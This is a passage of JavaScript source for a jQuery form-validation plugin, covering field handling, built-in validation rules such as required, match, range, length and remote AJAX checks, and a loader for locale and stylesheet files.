if ( (field = me.fields[key]) || must && (field = new me.Field(key)) ) {
|
||
field.element = el;
|
||
}
|
||
|
||
return field;
|
||
},
|
||
|
||
/**
|
||
* Config a field
|
||
*
|
||
* @method: setField
|
||
* @param {String} key
|
||
* @param {Object} obj
|
||
*/
|
||
setField: function(key, obj) {
|
||
var fields = {};
|
||
|
||
if (!key) return;
|
||
|
||
// update this field
|
||
if (isString(key)) {
|
||
fields[key] = obj;
|
||
}
|
||
// update fields
|
||
else {
|
||
fields = key;
|
||
}
|
||
|
||
this._initFields(fields);
|
||
},
|
||
|
||
/**
|
||
* Detecting whether the form is valid
|
||
*
|
||
* @method isFormValid
|
||
* @return {Boolean}
|
||
*/
|
||
isFormValid: function() {
|
||
var fields = this.fields, k, field;
|
||
for (k in fields) {
|
||
field = fields[k];
|
||
if (!field._rules || !field.required && !field.must && !field.value) continue;
|
||
if (!field.isValid) return false;
|
||
}
|
||
return true;
|
||
},
|
||
|
||
/**
|
||
* Prevent submission form
|
||
*
|
||
* @method holdSubmit
|
||
* @param {Boolean} hold - If set to false, will release the hold
|
||
*/
|
||
holdSubmit: function(hold) {
|
||
this.submiting = hold === undefined || hold;
|
||
},
|
||
|
||
/**
|
||
* Clean validation messages
|
||
*
|
||
* @method cleanUp
|
||
*/
|
||
cleanUp: function() {
|
||
this._reset(1);
|
||
},
|
||
|
||
/**
|
||
* Destroy the validation
|
||
*
|
||
* @method destroy
|
||
*/
|
||
destroy: function() {
|
||
this._reset(1);
|
||
this.$el.off(CLS_NS).removeData(NS);
|
||
attr(this.$el[0], NOVALIDATE, this._NOVALIDATE);
|
||
}
|
||
};
|
||
|
||
/**
|
||
* Create Field Factory
|
||
*
|
||
* @class
|
||
* @param {Object} context
|
||
* @return {Function} Factory
|
||
*/
|
||
function _createFieldFactory(context) {
|
||
function FieldFactory() {
|
||
var options = this.options;
|
||
for (var i in options) {
|
||
if (i in fieldDefaults) this[i] = options[i];
|
||
}
|
||
$.extend(this, {
|
||
_valHook: function() {
|
||
return this.element.contentEditable === 'true' ? 'text' : 'val';
|
||
},
|
||
getValue: function() {
|
||
var elem = this.element;
|
||
if (elem.type === 'number' && elem.validity && elem.validity.badInput) {
|
||
return 'NaN';
|
||
}
|
||
return $(elem)[this._valHook()]();
|
||
},
|
||
setValue: function(value) {
|
||
$(this.element)[this._valHook()](this.value = value);
|
||
},
|
||
// Get a range of validation messages
|
||
getRangeMsg: function(value, params, suffix) {
|
||
if (!params) return;
|
||
|
||
var me = this,
|
||
msg = me.messages[me._r] || '',
|
||
result,
|
||
p = params[0].split('~'),
|
||
e = params[1] === 'false',
|
||
a = p[0],
|
||
b = p[1],
|
||
c = 'rg',
|
||
args = [''],
|
||
isNumber = trim(value) && +value === +value;
|
||
|
||
function compare(large, small) {
|
||
return !e ? large >= small : large > small;
|
||
}
|
||
|
||
if (p.length === 2) {
|
||
if (a && b) {
|
||
if (isNumber && compare(value, +a) && compare(+b, value)) {
|
||
result = true;
|
||
}
|
||
args = args.concat(p);
|
||
c = e ? 'gtlt' : 'rg';
|
||
}
|
||
else if (a && !b) {
|
||
if (isNumber && compare(value, +a)) {
|
||
result = true;
|
||
}
|
||
args.push(a);
|
||
c = e ? 'gt' : 'gte';
|
||
}
|
||
else if (!a && b) {
|
||
if (isNumber && compare(+b, value)) {
|
||
result = true;
|
||
}
|
||
args.push(b);
|
||
c = e ? 'lt' : 'lte';
|
||
}
|
||
}
|
||
else {
|
||
if (value === +a) {
|
||
result = true;
|
||
}
|
||
args.push(a);
|
||
c = 'eq';
|
||
}
|
||
|
||
if (msg) {
|
||
if (suffix && msg[c + suffix]) {
|
||
c += suffix;
|
||
}
|
||
args[0] = msg[c];
|
||
}
|
||
|
||
return result || me._rules && ( me._rules[me._i].msg = me.renderMsg.apply(null, args) );
|
||
},
|
||
// Render message template
|
||
renderMsg: function() {
|
||
var args = arguments,
|
||
tpl = args[0],
|
||
i = args.length;
|
||
|
||
if (!tpl) return;
|
||
|
||
while (--i) {
|
||
tpl = tpl.replace('{' + i + '}', args[i]);
|
||
}
|
||
|
||
return tpl;
|
||
}
|
||
});
|
||
}
|
||
function Field(key, obj, oldField) {
|
||
this.key = key;
|
||
this.validator = context;
|
||
$.extend(this, oldField, obj);
|
||
}
|
||
|
||
FieldFactory.prototype = context;
|
||
Field.prototype = new FieldFactory();
|
||
|
||
return Field;
|
||
}
|
||
|
||
/**
|
||
* Create Rules
|
||
*
|
||
* @class
|
||
* @param {Object} obj rules
|
||
* @param {Object} context context
|
||
*/
|
||
function Rules(obj, context) {
|
||
if (!isObject(obj)) return;
|
||
|
||
var k, that = context ? context === true ? this : context : Rules.prototype;
|
||
|
||
for (k in obj) {
|
||
if (_checkRuleName(k)) {
|
||
that[k] = _getRule(obj[k]);
|
||
}
|
||
}
|
||
}
|
||
|
||
/**
|
||
* Create Messages
|
||
*
|
||
* @class
|
||
* @param {Object} obj rules
|
||
* @param {Object} context context
|
||
*/
|
||
function Messages(obj, context) {
|
||
if (!isObject(obj)) return;
|
||
|
||
var k, that = context ? context === true ? this : context : Messages.prototype;
|
||
|
||
for (k in obj) {
|
||
that[k] = obj[k];
|
||
}
|
||
}
|
||
|
||
// Rule converted factory
|
||
function _getRule(fn) {
|
||
switch ($.type(fn)) {
|
||
case 'function':
|
||
return fn;
|
||
case 'array':
|
||
var f = function() {
|
||
return fn[0].test(this.value) || fn[1] || false;
|
||
};
|
||
f.msg = fn[1];
|
||
return f;
|
||
case 'regexp':
|
||
return function() {
|
||
return fn.test(this.value);
|
||
};
|
||
}
|
||
}
|
||
|
||
// Get instance by an element
|
||
function _getInstance(el) {
|
||
var wrap, k, options;
|
||
|
||
if (!el || !el.tagName) return;
|
||
|
||
switch (el.tagName) {
|
||
case 'INPUT':
|
||
case 'SELECT':
|
||
case 'TEXTAREA':
|
||
case 'BUTTON':
|
||
case 'FIELDSET':
|
||
wrap = el.form || $(el).closest('.' + CLS_WRAPPER);
|
||
break;
|
||
case 'FORM':
|
||
wrap = el;
|
||
break;
|
||
default:
|
||
wrap = $(el).closest('.' + CLS_WRAPPER);
|
||
}
|
||
|
||
for (k in preinitialized) {
|
||
if ($(wrap).is(k)) {
|
||
options = preinitialized[k];
|
||
break;
|
||
}
|
||
}
|
||
|
||
return $(wrap).data(NS) || $(wrap)[NS](options).data(NS);
|
||
}
|
||
|
||
// Get custom rules on the node
|
||
function _getDataRule(el, method) {
|
||
var fn = trim(attr(el, DATA_RULE + '-' + method));
|
||
|
||
if ( fn && (fn = new Function('return ' + fn)()) ) {
|
||
return _getRule(fn);
|
||
}
|
||
}
|
||
|
||
// Get custom messages on the node
|
||
function _getDataMsg(el, field, m) {
|
||
var msg = field.msg,
|
||
item = field._r;
|
||
|
||
if ( isObject(msg) ) msg = msg[item];
|
||
if ( !isString(msg) ) {
|
||
msg = attr(el, DATA_MSG + '-' + item) || attr(el, DATA_MSG) || ( m ? isString(m) ? m : m[item] : '');
|
||
}
|
||
|
||
return msg;
|
||
}
|
||
|
||
// Get message position
|
||
function _getPos(str) {
|
||
var pos;
|
||
|
||
if (str) pos = rPos.exec(str);
|
||
return pos && pos[0];
|
||
}
|
||
|
||
// Check whether the element is checkbox or radio
|
||
function _checkable(el) {
|
||
return el.tagName === 'INPUT' && el.type === 'checkbox' || el.type === 'radio';
|
||
}
|
||
|
||
// Parse date string to timestamp
|
||
function _parseDate(str) {
|
||
return Date.parse(str.replace(/\.|\-/g, '/'));
|
||
}
|
||
|
||
// Rule name only allows alphanumeric characters and underscores
|
||
function _checkRuleName(name) {
|
||
return /^\w+$/.test(name);
|
||
}
|
||
|
||
// Translate field key to jQuery selector.
|
||
function _key2selector(key) {
|
||
var isID = key.charAt(0) === '#';
|
||
key = key.replace(/([:.{(|)}/\[\]])/g, '\\$1');
|
||
return isID ? key : '[name="'+ key +'"]:first';
|
||
}
|
||
|
||
|
||
// Fixed a issue cause by refresh page in IE.
|
||
$(window).on('beforeunload', function(){
|
||
this.focus();
|
||
});
|
||
|
||
$(document)
|
||
.on('click', ':submit', function(){
|
||
var input = this, attrNode;
|
||
if (!input.form) return;
|
||
// Shim for "formnovalidate"
|
||
attrNode = input.getAttributeNode('formnovalidate');
|
||
if (attrNode && attrNode.nodeValue !== null || attr(input, NOVALIDATE)!== null) {
|
||
novalidateonce = true;
|
||
}
|
||
})
|
||
// Automatic initializing form validation
|
||
.on('focusin submit validate', 'form,.'+CLS_WRAPPER, function(e) {
|
||
if ( attr(this, NOVALIDATE) !== null ) return;
|
||
var $form = $(this), me;
|
||
|
||
if ( !$form.data(NS) && (me = _getInstance(this)) ) {
|
||
if ( !$.isEmptyObject(me.fields) ) {
|
||
// Execute event handler
|
||
if (e.type === 'focusin') {
|
||
me._focusin(e);
|
||
} else {
|
||
me._submit(e);
|
||
}
|
||
} else {
|
||
attr(this, NOVALIDATE, NOVALIDATE);
|
||
$form.off(CLS_NS).removeData(NS);
|
||
}
|
||
}
|
||
});
|
||
|
||
new Messages({
|
||
fallback: 'This field is not valid.',
|
||
loading: 'Validating...'
|
||
});
|
||
|
||
|
||
// Built-in rules (global)
|
||
new Rules({
|
||
|
||
/**
|
||
* required
|
||
*
|
||
* @example:
|
||
required
|
||
required(jqSelector)
|
||
required(anotherRule)
|
||
required(not, -1)
|
||
required(from, .contact)
|
||
*/
|
||
required: function(element, params) {
|
||
var me = this,
|
||
val = trim(me.value),
|
||
isValid = true;
|
||
|
||
if (params) {
|
||
if ( params.length === 1 ) {
|
||
if ( !_checkRuleName(params[0]) ) {
|
||
if (!val && !$(params[0], me.$el).length ) {
|
||
return null;
|
||
}
|
||
}
|
||
else if ( me.rules[params[0]] ) {
|
||
if ( !val && !me.test(element, params[0]) ) {
|
||
return null;
|
||
}
|
||
me._r = 'required'
|
||
}
|
||
}
|
||
else if ( params[0] === 'not' ) {
|
||
$.each(params.slice(1), function() {
|
||
return (isValid = val !== trim(this));
|
||
});
|
||
}
|
||
else if ( params[0] === 'from' ) {
|
||
var $elements = me.$el.find(params[1]),
|
||
VALIDATED = '_validated_',
|
||
ret;
|
||
|
||
isValid = $elements.filter(function(){
|
||
var field = me.getField(this);
|
||
return field && !!trim(field.getValue());
|
||
}).length >= (params[2] || 1);
|
||
|
||
if (isValid) {
|
||
if (!val) ret = null;
|
||
} else {
|
||
ret = _getDataMsg($elements[0], me) || false;
|
||
}
|
||
|
||
if ( !$(element).data(VALIDATED) ) {
|
||
$elements.data(VALIDATED, 1).each(function(){
|
||
if (element !== this) {
|
||
me._validate(this);
|
||
}
|
||
}).removeData(VALIDATED);
|
||
}
|
||
|
||
return ret;
|
||
}
|
||
}
|
||
|
||
return isValid && !!val;
|
||
},
|
||
|
||
/**
|
||
* integer
|
||
*
|
||
* @example:
|
||
integer
|
||
integer[+]
|
||
integer[+0]
|
||
integer[-]
|
||
integer[-0]
|
||
*/
|
||
integer: function(element, params) {
|
||
var re, z = '0|',
|
||
p = '[1-9]\\d*',
|
||
key = params ? params[0] : '*';
|
||
|
||
switch (key) {
|
||
case '+':
|
||
re = p;
|
||
break;
|
||
case '-':
|
||
re = '-' + p;
|
||
break;
|
||
case '+0':
|
||
re = z + p;
|
||
break;
|
||
case '-0':
|
||
re = z + '-' + p;
|
||
break;
|
||
default:
|
||
re = z + '-?' + p;
|
||
}
|
||
re = '^(?:' + re + ')$';
|
||
|
||
return new RegExp(re).test(this.value) || (this.messages.integer && this.messages.integer[key]);
|
||
},
|
||
|
||
/**
|
||
* match another field
|
||
*
|
||
* @example:
|
||
match[password] Match the password field (two values must be the same)
|
||
match[eq, password] Ditto
|
||
match[neq, count] The value must be not equal to the value of the count field
|
||
match[lt, count] The value must be less than the value of the count field
|
||
match[lte, count] The value must be less than or equal to the value of the count field
|
||
match[gt, count] The value must be greater than the value of the count field
|
||
match[gte, count] The value must be greater than or equal to the value of the count field
|
||
match[gte, startDate, date]
|
||
match[gte, startTime, time]
|
||
**/
|
||
match: function(element, params) {
|
||
if (!params) return;
|
||
|
||
var me = this,
|
||
isValid = true,
|
||
a, b,
|
||
key, msg, type = 'eq', parser,
|
||
selector2, elem2, field2;
|
||
|
||
if (params.length === 1) {
|
||
key = params[0];
|
||
} else {
|
||
type = params[0];
|
||
key = params[1];
|
||
}
|
||
|
||
selector2 = _key2selector(key);
|
||
elem2 = me.$el.find(selector2)[0];
|
||
// If the compared field is not exist
|
||
if (!elem2) return;
|
||
field2 = me.getField(elem2);
|
||
a = me.value;
|
||
b = field2.getValue();
|
||
|
||
if (!me._match) {
|
||
me.$el.on('valid'+CLS_NS_FIELD+CLS_NS, selector2, function(){
|
||
$(element).trigger('validate');
|
||
});
|
||
me._match = field2._match = 1;
|
||
}
|
||
|
||
// If both fields are blank
|
||
if (!me.required && a === '' && b === '') {
|
||
return null;
|
||
}
|
||
|
||
parser = params[2];
|
||
if (parser) {
|
||
if (/^date(time)?$/i.test(parser)) {
|
||
a = _parseDate(a);
|
||
b = _parseDate(b);
|
||
} else if (parser === 'time') {
|
||
a = +a.replace(/:/g, '');
|
||
b = +b.replace(/:/g, '');
|
||
}
|
||
}
|
||
|
||
// If the compared field is incorrect, we only ensure that this field is correct.
|
||
if (type !== 'eq' && !isNaN(+a) && isNaN(+b)) {
|
||
return true;
|
||
}
|
||
|
||
switch (type) {
|
||
case 'lt':
|
||
isValid = +a < +b; break;
|
||
case 'lte':
|
||
isValid = +a <= +b; break;
|
||
case 'gte':
|
||
isValid = +a >= +b; break;
|
||
case 'gt':
|
||
isValid = +a > +b; break;
|
||
case 'neq':
|
||
isValid = a !== b; break;
|
||
default:
|
||
isValid = a === b;
|
||
}
|
||
|
||
return isValid || (
|
||
isObject(me.messages.match)
|
||
&& me.messages.match[type].replace( '{1}', me._getDisplay( elem2, field2.display || key ) )
|
||
);
|
||
},
|
||
|
||
/**
|
||
* range numbers
|
||
*
|
||
* @example:
|
||
range[0~99] Number 0-99
|
||
range[0~] Number greater than or equal to 0
|
||
range[~100] Number less than or equal to 100
|
||
**/
|
||
range: function(element, params) {
|
||
return this.getRangeMsg(this.value, params);
|
||
},
|
||
|
||
/**
|
||
* how many checkbox or radio inputs that checked
|
||
*
|
||
* @example:
|
||
checked; no empty, same to required
|
||
checked[1~3] 1-3 items
|
||
checked[1~] greater than 1 item
|
||
checked[~3] less than 3 items
|
||
checked[3] 3 items
|
||
**/
|
||
checked: function(element, params) {
|
||
if ( !_checkable(element) ) return;
|
||
|
||
var me = this,
|
||
elem, count;
|
||
|
||
if (element.name) {
|
||
count = me.$el.find('input[name="' + element.name + '"]').filter(function() {
|
||
var el = this;
|
||
if (!elem && _checkable(el)) elem = el;
|
||
return !el.disabled && el.checked;
|
||
}).length;
|
||
} else {
|
||
elem = element;
|
||
count = elem.checked;
|
||
}
|
||
|
||
if (params) {
|
||
return me.getRangeMsg(count, params);
|
||
} else {
|
||
return !!count || _getDataMsg(elem, me, '') || me.messages.required || false;
|
||
}
|
||
},
|
||
|
||
/**
|
||
* length of a characters (You can pass the second parameter "true", will calculate the length in bytes)
|
||
*
|
||
* @example:
|
||
length[6~16] 6-16 characters
|
||
length[6~] Greater than 6 characters
|
||
length[~16] Less than 16 characters
|
||
length[~16, true] Less than 16 characters, non-ASCII characters calculating two-character
|
||
**/
|
||
length: function(element, params) {
|
||
var value = this.value,
|
||
len = (params[1] === 'true' ? value.replace(rDoubleBytes, 'xx') : value).length;
|
||
|
||
return this.getRangeMsg(len, params, (params[1] ? '_2' : ''));
|
||
},
|
||
|
||
/**
|
||
* remote validation
|
||
*
|
||
* @description
|
||
* remote([get:]url [, name1, [name2 ...]]);
|
||
* Adaptation three kinds of results (Front for the successful, followed by a failure):
|
||
1. text:
|
||
'' 'Error Message'
|
||
2. json:
|
||
{"ok": ""} {"error": "Error Message"}
|
||
3. json wrapper:
|
||
{"status": 1, "data": {"ok": ""}} {"status": 1, "data": {"error": "Error Message"}}
|
||
* @example
|
||
The simplest: remote(path/to/server);
|
||
With parameters: remote(path/to/server, name1, name2, ...);
|
||
By GET: remote(get:path/to/server, name1, name2, ...);
|
||
Name proxy: remote(path/to/server, name1, proxyname2:name2, proxyname3:#id3, ...)
|
||
Query String remote(path/to/server, foo=1&bar=2, name1, name2, ...)
|
||
CORS remote(cors:path/to/server)
|
||
JSONP remote(jsonp:path/to/server)
|
||
*/
|
||
remote: function(element, params) {
|
||
if (!params) return;
|
||
|
||
var me = this,
|
||
arr = rAjaxType.exec(params[0]),
|
||
rule = me._rules[me._i],
|
||
data = {},
|
||
queryString = '',
|
||
url = arr[3],
|
||
type = arr[2] || 'POST', // GET / POST
|
||
rType = (arr[1]||'').toLowerCase(), // CORS / JSONP
|
||
dataType;
|
||
|
||
rule.must = true;
|
||
data[element.name] = me.value;
|
||
|
||
// There are extra fields
|
||
if (params[1]) {
|
||
$.map(params.slice(1), function(name) {
|
||
var arr, key;
|
||
if (~name.indexOf('=')) {
|
||
queryString += '&' + name;
|
||
} else {
|
||
arr = name.split(':');
|
||
name = trim(arr[0]);
|
||
key = trim(arr[1]) || name;
|
||
data[ name ] = me.$el.find( _key2selector(key) ).val();
|
||
}
|
||
});
|
||
}
|
||
|
||
data = $.param(data) + queryString;
|
||
if (!me.must && rule.data && rule.data === data) {
|
||
return rule.result;
|
||
}
|
||
|
||
// Cross-domain request, force jsonp dataType
|
||
if (rType !== 'cors' && /^https?:/.test(url) && !~url.indexOf(location.host)) {
|
||
dataType = 'jsonp';
|
||
}
|
||
|
||
// Asynchronous validation need return jqXHR objects
|
||
return $.ajax({
|
||
url: url,
|
||
type: type,
|
||
data: data,
|
||
dataType: dataType
|
||
});
|
||
},
|
||
|
||
/**
|
||
* filter characters, direct filtration without prompting error (support custom regular expressions)
|
||
*
|
||
* @example
|
||
* filter filtering unsafe characters
|
||
* filter(regexp) filtering the "regexp" matched characters
|
||
*/
|
||
filter: function(element, params) {
|
||
var value = this.value,
|
||
temp = value.replace( params ? (new RegExp('[' + params[0] + ']', 'gm')) : rUnsafe, '' );
|
||
if (temp !== value) this.setValue(temp);
|
||
}
|
||
});
|
||
|
||
|
||
/**
|
||
* Config global options
|
||
*
|
||
* @static config
|
||
* @param {Object} options
|
||
*/
|
||
Validator.config = function(key, value) {
|
||
if (isObject(key)) {
|
||
$.each(key, _config);
|
||
}
|
||
else if (isString(key)) {
|
||
_config(key, value);
|
||
}
|
||
|
||
function _config(k, o) {
|
||
if (k === 'rules') {
|
||
new Rules(o);
|
||
}
|
||
else if (k === 'messages') {
|
||
new Messages(o);
|
||
}
|
||
else if (k in fieldDefaults) {
|
||
fieldDefaults[k] = o;
|
||
}
|
||
else {
|
||
defaults[k] = o;
|
||
}
|
||
}
|
||
};
|
||
|
||
/**
|
||
* Config themes
|
||
*
|
||
* @static setTheme
|
||
* @param {String|Object} name
|
||
* @param {Object} obj
|
||
* @example
|
||
.setTheme( themeName, themeOptions )
|
||
.setTheme( multiThemes )
|
||
*/
|
||
Validator.setTheme = function(name, obj) {
|
||
if ( isObject(name) ) {
|
||
$.extend(true, themes, name);
|
||
}
|
||
else if ( isString(name) && isObject(obj) ) {
|
||
themes[name] = $.extend(themes[name], obj);
|
||
}
|
||
};
|
||
|
||
/**
|
||
* Resource loader
|
||
*
|
||
* @static load
|
||
* @param {String} str
|
||
* @example
|
||
.load('local=zh-CN') // load: local/zh-CN.js and jquery.validator.css
|
||
.load('local=zh-CN&css=') // load: local/zh-CN.js
|
||
.load('local&css') // load: local/en.js (set <html lang="en">) and jquery.validator.css
|
||
.load('local') // dito
|
||
*/
|
||
Validator.load = function(str) {
|
||
if (!str) return;
|
||
var doc = document,
|
||
params = {},
|
||
node = doc.scripts[0],
|
||
dir, el, ONLOAD;
|
||
|
||
str.replace(/([^?=&]+)=([^&#]*)/g, function(m, key, value){
|
||
params[key] = value;
|
||
});
|
||
|
||
dir = params.dir || Validator.dir;
|
||
|
||
if (!Validator.css && params.css !== '') {
|
||
el = doc.createElement('link');
|
||
el.rel = 'stylesheet';
|
||
el.href = Validator.css = dir + 'jquery.validator.css';
|
||
node.parentNode.insertBefore(el, node);
|
||
}
|
||
if (!Validator.local && ~str.indexOf('local') && params.local !== '') {
|
||
Validator.local = (params.local || doc.documentElement.lang || 'en').replace('_','-');
|
||
Validator.pending = 1;
|
||
el = doc.createElement('script');
|
||
el.src = dir + 'local/' + Validator.local + '.js';
|
||
ONLOAD = 'onload' in el ? 'onload' : 'onreadystatechange';
|
||
el[ONLOAD] = function() {
|
||
if (!el.readyState || /loaded|complete/.test(el.readyState)) {
|
||
el = el[ONLOAD] = null;
|
||
delete Validator.pending;
|
||
$(window).triggerHandler('validatorready');
|
||
}
|
||
};
|
||
node.parentNode.insertBefore(el, node);
|
||
}
|
||
};
|
||
|
||
// Auto loading resources
|
||
(function(){
|
||
var scripts = document.scripts,
|
||
i = scripts.length, node, arr,
|
||
re = /(.*validator(?:\.min)?.js)(\?.*(?:local|css|dir)(?:=[\w\-]*)?)?/;
|
||
|
||
while (i-- && !arr) {
|
||
node = scripts[i];
|
||
arr = (node.hasAttribute ? node.src : node.getAttribute('src',4)||'').match(re);
|
||
}
|
||
|
||
if (!arr) return;
|
||
Validator.dir = arr[1].split('/').slice(0, -1).join('/')+'/';
|
||
Validator.load(arr[2]);
|
||
})();
|
||
|
||
return $[NS] = Validator;
|
||
}));
|
||
|